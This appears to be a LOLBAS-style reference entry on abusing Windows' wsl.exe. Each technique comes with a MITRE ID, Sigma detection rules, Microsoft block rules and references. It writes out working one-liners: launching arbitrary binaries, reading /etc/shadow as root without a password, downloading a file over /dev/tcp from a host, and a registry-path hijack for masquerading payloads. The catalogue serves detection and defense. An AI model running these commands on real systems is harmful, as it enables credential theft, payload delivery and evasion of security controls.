Wsl.exe

Executes calc.exe from wsl.exe

Use Performs execution of specified file, can be used to execute arbitrary Linux commands.

wsl.exe -e /mnt/c/Windows/System32/calc.exe

Evidence

Upstream reference

Environment

Local host

Context

user

Native

Execute

MITRE

T1202

Detection

Sigma: github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_wsl_lolbin_execution.yml

BlockRule: docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules

IOC: Child process from wsl.exe

Refs

docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules

twitter.com/nas_bench/status/1535431474429808642

cardinalops.com/blog/bash-and-switch-hijacking-via-windows-subsystem-for-linux/

lolbas-project.github.io/lolbas/OtherMSBinaries/Wsl/

Cats /etc/shadow file as root

Use Performs execution of arbitrary Linux commands as root without need for password.

wsl.exe -u root -e cat /etc/shadow

Evidence

Upstream reference

Environment

Local host

Context

user

Native

Execute

MITRE

T1202

Detection

Sigma: github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_wsl_lolbin_execution.yml

BlockRule: docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules

IOC: Child process from wsl.exe

Refs

docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules

twitter.com/nas_bench/status/1535431474429808642

cardinalops.com/blog/bash-and-switch-hijacking-via-windows-subsystem-for-linux/

lolbas-project.github.io/lolbas/OtherMSBinaries/Wsl/

Executes Linux command (for example via bash) as the default user (unless stated otherwise using `-u <username>`) on the default WSL distro (unless stated otherwise using `-d <distro name>`)

Use Performs execution of arbitrary Linux commands.

wsl.exe --exec bash -c "{CMD}"

Evidence

Upstream reference

Environment

Local host

Context

user

Native

Execute

MITRE

T1202

Detection

Sigma: github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_wsl_lolbin_execution.yml

BlockRule: docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules

IOC: Child process from wsl.exe

Refs

docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules

twitter.com/nas_bench/status/1535431474429808642

cardinalops.com/blog/bash-and-switch-hijacking-via-windows-subsystem-for-linux/

lolbas-project.github.io/lolbas/OtherMSBinaries/Wsl/

Downloads file from 192.168.1.10

Use Download file

wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary'

Evidence

Upstream reference

Environment

Local host

Context

user

Native

Download

MITRE

T1105

Detection

Sigma: github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_wsl_lolbin_execution.yml

BlockRule: docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules

IOC: Child process from wsl.exe

Refs

docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules

twitter.com/nas_bench/status/1535431474429808642

cardinalops.com/blog/bash-and-switch-hijacking-via-windows-subsystem-for-linux/

lolbas-project.github.io/lolbas/OtherMSBinaries/Wsl/

When executed, `wsl.exe` queries the registry value of `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Lxss\MSI\InstallLocation`, which contains a folder path (`c:\program files\wsl` by default). If the value points to another folder containing a file named `wsl.exe`, it will be executed instead of the legitimate `wsl.exe` in the program files folder.

Use Execute a payload as a child process of `bash.exe` while masquerading as WSL.

wsl.exe

Evidence

Upstream reference

Environment

Local host

Context

user

Native

Execute

MITRE

T1218

Detection

Sigma: github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_wsl_lolbin_execution.yml

BlockRule: docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules

IOC: Child process from wsl.exe

Refs

docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules

twitter.com/nas_bench/status/1535431474429808642

cardinalops.com/blog/bash-and-switch-hijacking-via-windows-subsystem-for-linux/

lolbas-project.github.io/lolbas/OtherMSBinaries/Wsl/